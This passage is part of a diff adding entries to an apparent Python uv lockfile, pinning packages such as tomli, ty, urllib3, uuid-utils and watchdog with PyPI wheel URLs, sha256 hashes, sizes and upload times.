"https://files.pythonhosted.org/packages/22/c3/b386b832f209fee8073c8138ec50f27b4460db2fdae9ffe022df89a57f9b/tomli-2.4.0-cp313-cp313-win_arm64.whl", hash = "sha256:d20b797a5c1ad80c516e41bc1fb0443ddb5006e9aaa7bda2d71978346aeb9132", size = 94748, upload-time = "2026-01-11T11:22:16.009Z" }, + { url = "https://files.pythonhosted.org/packages/f3/c4/84047a97eb1004418bc10bdbcfebda209fca6338002eba2dc27cc6d13563/tomli-2.4.0-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:26ab906a1eb794cd4e103691daa23d95c6919cc2fa9160000ac02370cc9dd3f6", size = 154725, upload-time = "2026-01-11T11:22:17.269Z" }, + { url = "https://files.pythonhosted.org/packages/a8/5d/d39038e646060b9d76274078cddf146ced86dc2b9e8bbf737ad5983609a0/tomli-2.4.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:20cedb4ee43278bc4f2fee6cb50daec836959aadaf948db5172e776dd3d993fc", size = 148901, upload-time = "2026-01-11T11:22:18.287Z" }, + { url = "https://files.pythonhosted.org/packages/73/e5/383be1724cb30f4ce44983d249645684a48c435e1cd4f8b5cded8a816d3c/tomli-2.4.0-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:39b0b5d1b6dd03684b3fb276407ebed7090bbec989fa55838c98560c01113b66", size = 243375, upload-time = "2026-01-11T11:22:19.154Z" }, + { url = "https://files.pythonhosted.org/packages/31/f0/bea80c17971c8d16d3cc109dc3585b0f2ce1036b5f4a8a183789023574f2/tomli-2.4.0-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:a26d7ff68dfdb9f87a016ecfd1e1c2bacbe3108f4e0f8bcd2228ef9a766c787d", size = 250639, upload-time = "2026-01-11T11:22:20.168Z" }, + { url = "https://files.pythonhosted.org/packages/2c/8f/2853c36abbb7608e3f945d8a74e32ed3a74ee3a1f468f1ffc7d1cb3abba6/tomli-2.4.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:20ffd184fb1df76a66e34bd1b36b4a4641bd2b82954befa32fe8163e79f1a702", size = 246897, upload-time = "2026-01-11T11:22:21.544Z" }, + { url = "https://files.pythonhosted.org/packages/49/f0/6c05e3196ed5337b9fe7ea003e95fd3819a840b7a0f2bf5a408ef1dad8ed/tomli-2.4.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:75c2f8bbddf170e8effc98f5e9084a8751f8174ea6ccf4fca5398436e0320bc8", size = 254697, upload-time = "2026-01-11T11:22:23.058Z" }, + { url = "https://files.pythonhosted.org/packages/f3/f5/2922ef29c9f2951883525def7429967fc4d8208494e5ab524234f06b688b/tomli-2.4.0-cp314-cp314-win32.whl", hash = "sha256:31d556d079d72db7c584c0627ff3a24c5d3fb4f730221d3444f3efb1b2514776", size = 98567, upload-time = "2026-01-11T11:22:24.033Z" }, + { url = "https://files.pythonhosted.org/packages/7b/31/22b52e2e06dd2a5fdbc3ee73226d763b184ff21fc24e20316a44ccc4d96b/tomli-2.4.0-cp314-cp314-win_amd64.whl", hash = "sha256:43e685b9b2341681907759cf3a04e14d7104b3580f808cfde1dfdb60ada85475", size = 108556, upload-time = "2026-01-11T11:22:25.378Z" }, + { url = "https://files.pythonhosted.org/packages/48/3d/5058dff3255a3d01b705413f64f4306a141a8fd7a251e5a495e3f192a998/tomli-2.4.0-cp314-cp314-win_arm64.whl", hash = "sha256:3d895d56bd3f82ddd6faaff993c275efc2ff38e52322ea264122d72729dca2b2", size = 96014, upload-time = "2026-01-11T11:22:26.138Z" }, + { url = "https://files.pythonhosted.org/packages/b8/4e/75dab8586e268424202d3a1997ef6014919c941b50642a1682df43204c22/tomli-2.4.0-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:5b5807f3999fb66776dbce568cc9a828544244a8eb84b84b9bafc080c99597b9", size = 163339, upload-time = "2026-01-11T11:22:27.143Z" }, + { url = "https://files.pythonhosted.org/packages/06/e3/b904d9ab1016829a776d97f163f183a48be6a4deb87304d1e0116a349519/tomli-2.4.0-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:c084ad935abe686bd9c898e62a02a19abfc9760b5a79bc29644463eaf2840cb0", size = 159490, upload-time = "2026-01-11T11:22:28.399Z" }, + { url = "https://files.pythonhosted.org/packages/e3/5a/fc3622c8b1ad823e8ea98a35e3c632ee316d48f66f80f9708ceb4f2a0322/tomli-2.4.0-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:0f2e3955efea4d1cfbcb87bc321e00dc08d2bcb737fd1d5e398af111d86db5df", size = 269398, upload-time = "2026-01-11T11:22:29.345Z" }, + { url = "https://files.pythonhosted.org/packages/fd/33/62bd6152c8bdd4c305ad9faca48f51d3acb2df1f8791b1477d46ff86e7f8/tomli-2.4.0-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:0e0fe8a0b8312acf3a88077a0802565cb09ee34107813bba1c7cd591fa6cfc8d", size = 276515, upload-time = "2026-01-11T11:22:30.327Z" }, + { url = "https://files.pythonhosted.org/packages/4b/ff/ae53619499f5235ee4211e62a8d7982ba9e439a0fb4f2f351a93d67c1dd2/tomli-2.4.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:413540dce94673591859c4c6f794dfeaa845e98bf35d72ed59636f869ef9f86f", size = 273806, upload-time = "2026-01-11T11:22:32.56Z" }, + { url = "https://files.pythonhosted.org/packages/47/71/cbca7787fa68d4d0a9f7072821980b39fbb1b6faeb5f5cf02f4a5559fa28/tomli-2.4.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:0dc56fef0e2c1c470aeac5b6ca8cc7b640bb93e92d9803ddaf9ea03e198f5b0b", size = 281340, upload-time = "2026-01-11T11:22:33.505Z" }, + { url = "https://files.pythonhosted.org/packages/f5/00/d595c120963ad42474cf6ee7771ad0d0e8a49d0f01e29576ee9195d9ecdf/tomli-2.4.0-cp314-cp314t-win32.whl", hash = "sha256:d878f2a6707cc9d53a1be1414bbb419e629c3d6e67f69230217bb663e76b5087", size = 108106, upload-time = "2026-01-11T11:22:34.451Z" }, + { url = "https://files.pythonhosted.org/packages/de/69/9aa0c6a505c2f80e519b43764f8b4ba93b5a0bbd2d9a9de6e2b24271b9a5/tomli-2.4.0-cp314-cp314t-win_amd64.whl", hash = "sha256:2add28aacc7425117ff6364fe9e06a183bb0251b03f986df0e78e974047571fd", size = 120504, upload-time = "2026-01-11T11:22:35.764Z" }, + { url = "https://files.pythonhosted.org/packages/b3/9f/f1668c281c58cfae01482f7114a4b88d345e4c140386241a1a24dcc9e7bc/tomli-2.4.0-cp314-cp314t-win_arm64.whl", hash = "sha256:2b1e3b80e1d5e52e40e9b924ec43d81570f0e7d09d11081b797bc4692765a3d4", size = 99561, upload-time = "2026-01-11T11:22:36.624Z" }, + { url = "https://files.pythonhosted.org/packages/23/d1/136eb2cb77520a31e1f64cbae9d33ec6df0d78bdf4160398e86eec8a8754/tomli-2.4.0-py3-none-any.whl", hash = "sha256:1f776e7d669ebceb01dee46484485f43a4048746235e683bcdffacdf1fb4785a", size = 14477, upload-time = "2026-01-11T11:22:37.446Z" }, +] + +[[package]] +name = "ty" +version = "0.0.55" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/08/48/f687c8d268e3581f2f104d1f2ac5944d5b5e841b3695c613b3f263e5bbf7/ty-0.0.55.tar.gz", hash = "sha256:88ca87073825a79a8327c550efcc86cec94344890244c5946f84c9e44a969f31", size = 6040230, upload-time = "2026-06-27T00:27:29.385Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/87/a3/1a90ba7e5a61c6d09adb92346ddba97668095fc257b577af433e5ac4f404/ty-0.0.55-py3-none-linux_armv6l.whl", hash = "sha256:31e83eef512d066542fe990fe1a3b814423abd1616376c54e48af7045b3e1749", size = 11677249, upload-time = "2026-06-27T00:26:52.18Z" }, + { url = "https://files.pythonhosted.org/packages/82/3a/669f9aa478c38243e213a2684db1502086026cfadc15bb1b29b7cbde030d/ty-0.0.55-py3-none-macosx_10_12_x86_64.whl", hash = "sha256:ab4bca857950608fea73e269e2da369d43e6467131de85160d68e2fa466fa248", size = 11444180, upload-time = "2026-06-27T00:26:54.576Z" }, + { url = "https://files.pythonhosted.org/packages/15/a4/6a4b2507a53ce6530c66c5b4fe0d58551eb1748ffa9e0696c32fdd55bbd4/ty-0.0.55-py3-none-macosx_11_0_arm64.whl", hash = "sha256:55032bfd31bf2c5355ee81bdc6407b144a1cc7ee41e5681dd1368e4cef2ba327", size = 10963134, upload-time = "2026-06-27T00:26:57.348Z" }, + { url = "https://files.pythonhosted.org/packages/ce/ae/a3b1a0f1cc83b7d258662cb98aa80a720c2e671d0e8fa0d17a4d5d057a7a/ty-0.0.55-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ef1e049f69ce65b3c269af67624607f435e1c32319786c1e453ef9611502f295", size = 11493517, upload-time = "2026-06-27T00:26:59.26Z" }, + { url = "https://files.pythonhosted.org/packages/0d/9f/311ce39065a979ef40a9b847f685c8e02464e53adf1671e081eea90640ca/ty-0.0.55-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:631409975c681d5a280fc5a99b7b32e9e801f33be7567c6b42ec331362f59d7d", size = 11460590, upload-time = "2026-06-27T00:27:01.425Z" }, + { url = "https://files.pythonhosted.org/packages/cd/8f/3bf29aa77bd78aae48275153135a2052fa7d3ccdf1ecabeb99c8773abd66/ty-0.0.55-py3-none-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:e08cb0436e68b9351555ae8f2697138c9009b4d5b4ae4272232988b2a431a98f", size = 12098430, upload-time = "2026-06-27T00:27:03.596Z" }, + { url = "https://files.pythonhosted.org/packages/bc/6e/e88411a88240b94640bba06fb6d0d92b247fbeef47ee2bc71f39e58c2558/ty-0.0.55-py3-none-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:16c215ad9f823829409b94ee188cfaa4563f6e1384f6ce3fecb1db75f6c7cf7c", size = 12673086, upload-time = "2026-06-27T00:27:05.589Z" }, + { url = "https://files.pythonhosted.org/packages/6c/7e/8f1762fb7f9245a68ba5ae338d73c59403ce57554e5d311b8bb55027b0ec/ty-0.0.55-py3-none-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:b510eb8f4032baf11b7aee2f1d53babc3b4ca03939b9cdcf6a9d15761d575188", size = 12242559, upload-time = "2026-06-27T00:27:07.714Z" }, + { url = "https://files.pythonhosted.org/packages/72/1f/143657daf2670d977dac83435f1fe03d4843efb798d8e1e75950e541aadd/ty-0.0.55-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0ddc05e7959709c3b9b83aa627128a80446865e3c1a4882638dcff6d776dc34a", size = 12021409, upload-time = "2026-06-27T00:27:09.881Z" }, + { url = "https://files.pythonhosted.org/packages/6d/30/69487c439dd1fad3a4a3d96f0a472193de297eaba6fc4b8ea687ce434ac2/ty-0.0.55-py3-none-manylinux_2_31_riscv64.whl", hash = "sha256:636e8e5078787b8c6916c94e1406719f10189a4ca6b37b813a5922ce5857a8c7", size = 12303807, upload-time = "2026-06-27T00:27:11.986Z" }, + { url = "https://files.pythonhosted.org/packages/e8/ca/cd88b6493dafc7db077f5e17c0438eb3af6e2d6d08f616dbb52a8ddfd567/ty-0.0.55-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:ef7d6deaacb73fec603666b5471f1dc5a5699aa84e11a6d4d644dd07ca72121e", size = 11441263, upload-time = "2026-06-27T00:27:14.087Z" }, + { url = "https://files.pythonhosted.org/packages/aa/fe/66b6915671653ab739f71e4f1b0528e69da64429b7ebf3840c625b6e43f2/ty-0.0.55-py3-none-musllinux_1_2_armv7l.whl", hash = "sha256:9aeea0fe5875d3cf37faf0e44d0fdf9669335467749741b8fc0103916fb5cd32", size = 11484584, upload-time = "2026-06-27T00:27:16.311Z" }, + { url = "https://files.pythonhosted.org/packages/4a/4f/7a9c0bbac8b899e9f6c0ec110c6612f52e4db35f6bb17ddc0ef60384fa3e/ty-0.0.55-py3-none-musllinux_1_2_i686.whl", hash = "sha256:0b699c01310dbd2705a07c97c5f4aaeedef61bd9adeea2e7c46aed32401d3576", size = 11759309, upload-time = "2026-06-27T00:27:18.471Z" }, + { url = "https://files.pythonhosted.org/packages/ca/de/b6f8b1b69aa631b5716ef3f985c3b56de0e46c2499cc00d30c402b41f714/ty-0.0.55-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:32cbeba543e46de2a983ec6d525d8b56514f7422bd1e1b57c44ccf7bfa72c38a", size = 12128755, upload-time = "2026-06-27T00:27:20.55Z" }, + { url = "https://files.pythonhosted.org/packages/7d/90/a912531e51ee7e076b42972479290fa687c0f5e747b7e773f3033164acaa/ty-0.0.55-py3-none-win32.whl", hash = "sha256:52b968e24eb4f7a5c3bd251db1f99f60dd385890356d38fc619d84f1b423446a", size = 11117501, upload-time = "2026-06-27T00:27:22.714Z" }, + { url = "https://files.pythonhosted.org/packages/4c/7a/99d59843bf8908a7f9f4d13fda107dbad07b7faa28ecd7860eacf363fb1c/ty-0.0.55-py3-none-win_amd64.whl", hash = "sha256:bf39cbfdc0add44d94bd3fff1f53c351418d134b6a66b87efdb7876d7b7a2224", size = 12150106, upload-time = "2026-06-27T00:27:24.881Z" }, + { url = "https://files.pythonhosted.org/packages/b3/44/20987505cedf2a865b08482f0eabc181fd9599b062964057ec8a128a4296/ty-0.0.55-py3-none-win_arm64.whl", hash = "sha256:f7f3700a9a060e8f1af11e4fb63fafcaf272b041781f4ccdfda2b3b5c6c1e439", size = 11560157, upload-time = "2026-06-27T00:27:27.332Z" }, +] + +[[package]] +name = "typing-extensions" +version = "4.15.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/72/94/1a15dd82efb362ac84269196e94cf00f187f7ed21c242792a923cdb1c61f/typing_extensions-4.15.0.tar.gz", hash = "sha256:0cea48d173cc12fa28ecabc3b837ea3cf6f38c6d1136f85cbaaf598984861466", size = 109391, upload-time = "2025-08-25T13:49:26.313Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/18/67/36e9267722cc04a6b9f15c7f3441c2363321a3ea07da7ae0c0707beb2a9c/typing_extensions-4.15.0-py3-none-any.whl", hash = "sha256:f0fa19c6845758ab08074a0cfa8b7aecb71c999ca73d62883bc25cc018c4e548", size = 44614, upload-time = "2025-08-25T13:49:24.86Z" }, +] + +[[package]] +name = "typing-inspection" +version = "0.4.2" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "typing-extensions" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/55/e3/70399cb7dd41c10ac53367ae42139cf4b1ca5f36bb3dc6c9d33acdb43655/typing_inspection-0.4.2.tar.gz", hash = "sha256:ba561c48a67c5958007083d386c3295464928b01faa735ab8547c5692e87f464", size = 75949, upload-time = "2025-10-01T02:14:41.687Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/dc/9b/47798a6c91d8bdb567fe2698fe81e0c6b7cb7ef4d13da4114b41d239f65d/typing_inspection-0.4.2-py3-none-any.whl", hash = "sha256:4ed1cacbdc298c220f1bd249ed5287caa16f34d44ef4e9c3d0cbad5b521545e7", size = 14611, upload-time = "2025-10-01T02:14:40.154Z" }, +] + +[[package]] +name = "tzdata" +version = "2025.3" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/5e/a7/c202b344c5ca7daf398f3b8a477eeb205cf3b6f32e7ec3a6bac0629ca975/tzdata-2025.3.tar.gz", hash = "sha256:de39c2ca5dc7b0344f2eba86f49d614019d29f060fc4ebc8a417896a620b56a7", size = 196772, upload-time = "2025-12-13T17:45:35.667Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/c7/b0/003792df09decd6849a5e39c28b513c06e84436a54440380862b5aeff25d/tzdata-2025.3-py2.py3-none-any.whl", hash = "sha256:06a47e5700f3081aab02b2e513160914ff0694bce9947d6b76ebd6bf57cfc5d1", size = 348521, upload-time = "2025-12-13T17:45:33.889Z" }, +] + +[[package]] +name = "urllib3" +version = "2.7.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/53/0c/06f8b233b8fd13b9e5ee11424ef85419ba0d8ba0b3138bf360be2ff56953/urllib3-2.7.0.tar.gz", hash = "sha256:231e0ec3b63ceb14667c67be60f2f2c40a518cb38b03af60abc813da26505f4c", size = 433602, upload-time = "2026-05-07T16:13:18.596Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/7f/3e/5db95bcf282c52709639744ca2a8b149baccf648e39c8cc87553df9eae0c/urllib3-2.7.0-py3-none-any.whl", hash = "sha256:9fb4c81ebbb1ce9531cce37674bbc6f1360472bc18ca9a553ede278ef7276897", size = 131087, upload-time = "2026-05-07T16:13:17.151Z" }, +] + +[[package]] +name = "uuid-utils" +version = "0.13.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/fe/8a/17b11768dcb473d3a255c02ffdd94fbd1b345c906efea0a39124dcbaed52/uuid_utils-0.13.0.tar.gz", hash = "sha256:4c17df6427a9e23a4cd7fb9ee1efb53b8abb078660b9bdb2524ca8595022dfe1", size = 21921, upload-time = "2026-01-08T15:48:10.841Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/85/b8/d40848ca22781f206c60a1885fc737d2640392bd6b5792d455525accd89c/uuid_utils-0.13.0-cp39-abi3-macosx_10_12_x86_64.macosx_11_0_arm64.macosx_10_12_universal2.whl", hash = "sha256:83628283e977fb212e756bc055df8fdd2f9f589a2e539ba1abe755b8ce8df7a4", size = 602130, upload-time = "2026-01-08T15:47:34.877Z" }, + { url = "https://files.pythonhosted.org/packages/40/b9/00a944b8096632ea12638181f8e294abcde3e3b8b5e29b777f809896f6ae/uuid_utils-0.13.0-cp39-abi3-macosx_10_12_x86_64.whl", hash = "sha256:c47638ed6334ab19d80f73664f153b04bbb04ab8ce4298d10da6a292d4d21c47", size = 304213, upload-time = "2026-01-08T15:47:36.807Z" }, + { url = "https://files.pythonhosted.org/packages/da/d7/07b36c33aef683b81c9afff3ec178d5eb39d325447a68c3c68a62e4abb32/uuid_utils-0.13.0-cp39-abi3-manylinux_2_24_aarch64.whl", hash = "sha256:b276b538c57733ed406948584912da422a604313c71479654848b84b9e19c9b0", size = 340624, upload-time = "2026-01-08T15:47:38.821Z" }, + { url = "https://files.pythonhosted.org/packages/7d/55/fcff2fff02a27866cb1a6614c9df2b3ace721f0a0aab2b7b8f5a7d4e4221/uuid_utils-0.13.0-cp39-abi3-manylinux_2_24_armv7l.whl", hash = "sha256:bdaf2b77e34b199cf04cde28399495fd1ed951de214a4ece1f3919b2f945bb06", size = 346705, upload-time = "2026-01-08T15:47:40.397Z" }, + { url = "https://files.pythonhosted.org/packages/41/48/67438506c2bb8bee1b4b00d7c0b3ff866401b4790849bf591d654d4ea0bc/uuid_utils-0.13.0-cp39-abi3-manylinux_2_24_i686.whl", hash = "sha256:eb2f0baf81e82f9769a7684022dca8f3bf801ca1574a3e94df1876e9d6f9271e", size = 366023, upload-time = "2026-01-08T15:47:42.662Z" }, + { url = "https://files.pythonhosted.org/packages/8b/d7/2d91ce17f62fd764d593430de296b70843cc25229c772453f7261de9e6a8/uuid_utils-0.13.0-cp39-abi3-manylinux_2_24_ppc64le.whl", hash = "sha256:6be6c4d11275f5cc402a4fdba6c2b1ce45fd3d99bb78716cd1cc2cbf6802b2ce", size = 471149, upload-time = "2026-01-08T15:47:44.963Z" }, + { url = "https://files.pythonhosted.org/packages/2e/9a/aa0756186073ba84daf5704c150d41ede10eb3185d510e02532e2071550e/uuid_utils-0.13.0-cp39-abi3-manylinux_2_24_x86_64.whl", hash = "sha256:77621cf6ceca7f42173a642a01c01c216f9eaec3b7b65d093d2d6a433ca0a83d", size = 342130, upload-time = "2026-01-08T15:47:46.331Z" }, + { url = "https://files.pythonhosted.org/packages/74/b4/3191789f4dc3bed59d79cec90559821756297a25d7dc34d1bf7781577a75/uuid_utils-0.13.0-cp39-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:9a5a9eb06c2bb86dd876cd7b2fe927fc8543d14c90d971581db6ffda4a02526f", size = 524128, upload-time = "2026-01-08T15:47:47.628Z" }, + { url = "https://files.pythonhosted.org/packages/b2/30/29839210a8fff9fc219bfa7c8d8cd115324e92618cba0cda090d54d3d321/uuid_utils-0.13.0-cp39-abi3-musllinux_1_2_armv7l.whl", hash = "sha256:775347c6110fb71360df17aac74132d8d47c1dbe71233ac98197fc872a791fd2", size = 615872, upload-time = "2026-01-08T15:47:50.61Z" }, + { url = "https://files.pythonhosted.org/packages/99/ed/15000c96a8bd8f5fd8efd622109bf52549ea0b366f8ce71c45580fa55878/uuid_utils-0.13.0-cp39-abi3-musllinux_1_2_i686.whl", hash = "sha256:cf95f6370ad1a0910ee7b5ad5228fd19c4ae32fe3627389006adaf519408c41e", size = 581023, upload-time = "2026-01-08T15:47:52.776Z" }, + { url = "https://files.pythonhosted.org/packages/67/c8/3f809fa2dc2ca4bd331c792a3c7d3e45ae2b709d85847a12b8b27d1d5f19/uuid_utils-0.13.0-cp39-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:5a88e23e0b2f4203fefe2ccbca5736ee06fcad10e61b5e7e39c8d7904bc13300", size = 546715, upload-time = "2026-01-08T15:47:54.415Z" }, + { url = "https://files.pythonhosted.org/packages/f5/80/4f7c7efd734d1494397c781bd3d421688e9c187ae836e3174625b1ddf8b0/uuid_utils-0.13.0-cp39-abi3-win32.whl", hash = "sha256:3e4f2cc54e6a99c0551158100ead528479ad2596847478cbad624977064ffce3", size = 177650, upload-time = "2026-01-08T15:47:55.679Z" }, + { url = "https://files.pythonhosted.org/packages/6c/94/d05ab68622e66ad787a241dfe5ccc649b3af09f30eae977b9ee8f7046aaa/uuid_utils-0.13.0-cp39-abi3-win_amd64.whl", hash = "sha256:046cb2756e1597b3de22d24851b769913e192135830486a0a70bf41327f0360c", size = 183211, upload-time = "2026-01-08T15:47:57.604Z" }, + { url = "https://files.pythonhosted.org/packages/69/37/674b3ce25cd715b831ea8ebbd828b74c40159f04c95d1bb963b2c876fe79/uuid_utils-0.13.0-cp39-abi3-win_arm64.whl", hash = "sha256:5447a680df6ef8a5a353976aaf4c97cc3a3a22b1ee13671c44227b921e3ae2a9", size = 183518, upload-time = "2026-01-08T15:47:59.148Z" }, + { url = "https://files.pythonhosted.org/packages/99/fa/1d92de9538463859228e68db679b766fd300770c9a2db849dcba0c0c5a57/uuid_utils-0.13.0-pp311-pypy311_pp73-macosx_10_12_x86_64.macosx_11_0_arm64.macosx_10_12_universal2.whl", hash = "sha256:e5182e2d95f38e65f2e5bce90648ef56987443da13e145afcd747e584f9bc69c", size = 587641, upload-time = "2026-01-08T15:48:00.433Z" }, + { url = "https://files.pythonhosted.org/packages/ca/07/6bd9e6f5367e38c2ee7178ad882d2bd1b0d17c5393974b09ab027a215eba/uuid_utils-0.13.0-pp311-pypy311_pp73-macosx_10_12_x86_64.whl", hash = "sha256:e3909a8a1fbd79d7c8bdc874eeb83e23ccb7a7cb0aa821a49596cc96c0cce84b", size = 298273, upload-time = "2026-01-08T15:48:02.063Z" }, + { url = "https://files.pythonhosted.org/packages/dc/14/7061b868a8a6799c8df83768a23f313d4e22075069f01ee3c28fa82aa2c6/uuid_utils-0.13.0-pp311-pypy311_pp73-manylinux_2_24_aarch64.whl", hash = "sha256:5dc4c9f749bd2511b8dcbf0891e658d7d86880022963db050722ad7b502b5e22", size = 333618, upload-time = "2026-01-08T15:48:03.503Z" }, + { url = "https://files.pythonhosted.org/packages/bc/f1/f48c3c9c343c9071ade5f355403e344d817412d9cf379a2d04b181282e74/uuid_utils-0.13.0-pp311-pypy311_pp73-manylinux_2_24_armv7l.whl", hash = "sha256:516adf07f5b2cdb88d50f489c702b5f1a75ae8b2639bfd254f4192d5f7ee261f", size = 339104, upload-time = "2026-01-08T15:48:05.02Z" }, + { url = "https://files.pythonhosted.org/packages/47/22/8e3142b4baffee77ce533fe956446d3699ec42f1d5252911208cbef4501e/uuid_utils-0.13.0-pp311-pypy311_pp73-manylinux_2_24_i686.whl", hash = "sha256:aeee3bd89e8de6184a3ab778ce19f5ce9ad32849d1be549516e0ddb257562d8d", size = 359503, upload-time = "2026-01-08T15:48:06.347Z" }, + { url = "https://files.pythonhosted.org/packages/bd/1a/756f1f9e31b15019c87cd2becb1c596351c50967cd143443da38df8818d1/uuid_utils-0.13.0-pp311-pypy311_pp73-manylinux_2_24_ppc64le.whl", hash = "sha256:97985256c2e59b7caa51f5c8515f64d777328562a9c900ec65e9d627baf72737", size = 467480, upload-time = "2026-01-08T15:48:07.681Z" }, + { url = "https://files.pythonhosted.org/packages/0a/20/a6929e98d9a461ca49e96194a82a1cc3fd5420f3a2f53cbb34fca438549e/uuid_utils-0.13.0-pp311-pypy311_pp73-manylinux_2_24_x86_64.whl", hash = "sha256:b7ccaa20e24c5f60f41a69ef571ed820737f9b0ade4cbeef56aaa8f80f5aa475", size = 333610, upload-time = "2026-01-08T15:48:09.375Z" }, +] + +[[package]] +name = "watchdog" +version = "6.0.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/db/7d/7f3d619e951c88ed75c6037b246ddcf2d322812ee8ea189be89511721d54/watchdog-6.0.0.tar.gz", hash = "sha256:9ddf7c82fda3ae8e24decda1338ede66e1c99883db93711d8fb941eaa2d8c282", size = 131220, upload-time = "2024-11-01T14:07:13.037Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/0c/56/90994d789c61df619bfc5ce2ecdabd5eeff564e1eb47512bd01b5e019569/watchdog-6.0.0-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:d1cdb490583ebd691c012b3d6dae011000fe42edb7a82ece80965b42abd61f26", size = 96390, upload-time = "2024-11-01T14:06:24.793Z" }, + { url = "https://files.pythonhosted.org/packages/55/46/9a67ee697342ddf3c6daa97e3a587a56d6c4052f881ed926a849fcf7371c/watchdog-6.0.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:bc64ab3bdb6a04d69d4023b29422170b74681784ffb9463ed4870cf2f3e66112", size = 88389, upload-time = "2024-11-01T14:06:27.112Z" }, + { url = "https://files.pythonhosted.org/packages/44/65/91b0985747c52064d8701e1075eb96f8c40a79df889e59a399453adfb882/watchdog-6.0.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:c897ac1b55c5a1461e16dae288d22bb2e412ba9807df8397a635d88f671d36c3", size = 89020, upload-time = "2024-11-01T14:06:29.876Z" }, + { url = "https://files.pythonhosted.org/packages/e0/24/d9be5cd6642a6aa68352ded4b4b10fb0d7889cb7f45814fb92cecd35f101/watchdog-6.0.0-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:6eb11feb5a0d452ee41f824e271ca311a09e250441c262ca2fd7ebcf2461a06c", size = 96393, upload-time = "2024-11-01T14:06:31.756Z" }, + { url = "https://files.pythonhosted.org/packages/63/7a/6013b0d8dbc56adca7fdd4f0beed381c59f6752341b12fa0886fa7afc78b/watchdog-6.0.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:ef810fbf7b781a5a593894e4f439773830bdecb885e6880d957d5b9382a960d2", size = 88392, upload-time = "2024-11-01T14:06:32.99Z" }, + { url = "https://files.pythonhosted.org/packages/d1/40/b75381494851556de56281e053700e46bff5b37bf4c7267e858640af5a7f/watchdog-6.0.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:afd0fe1b2270917c5e23c2a65ce50c2a4abb63daafb0d419fde368e272a76b7c", size = 89019, upload-time = "2024-11-01T14:06:34.963Z" }, + { url = "https://files.pythonhosted.org/packages/39/ea/3930d07dafc9e286ed356a679aa02d777c06e9bfd1164fa7c19c288a5483/watchdog-6.0.0-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:bdd4e6f14b8b18c334febb9c4425a878a2ac20efd1e0b231978e7b150f92a948", size = 96471, upload-time = "2024-11-01T14:06:37.745Z" }, + { url = "https://files.pythonhosted.org/packages/12/87/48361531f70b1f87928b045df868a9fd4e253d9ae087fa4cf3f7113be363/watchdog-6.0.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:c7c15dda13c4eb00d6fb6fc508b3c0ed88b9d5d374056b239c4ad1611125c860", size = 88449, upload-time = "2024-11-01T14:06:39.748Z" }, + { url = "https://files.pythonhosted.org/packages/5b/7e/8f322f5e600812e6f9a31b75d242631068ca8f4ef0582dd3ae6e72daecc8/watchdog-6.0.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:6f10cb2d5902447c7d0da897e2c6768bca89174d0c6e1e30abec5421af97a5b0", size = 89054, upload-time = "2024-11-01T14:06:41.009Z" }, + { url = "https://files.pythonhosted.org/packages/68/98/b0345cabdce2041a01293ba483333582891a3bd5769b08eceb0d406056ef/watchdog-6.0.0-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:490ab2ef84f11129844c23fb14ecf30ef3d8a6abafd3754a6f75ca1e6654136c", size = 96480, upload-time = "2024-11-01T14:06:42.952Z" }, + { url = "https://files.pythonhosted.org/packages/85/83/cdf13902c626b28eedef7ec4f10745c52aad8a8fe7eb04ed7b1f111ca20e/watchdog-6.0.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = 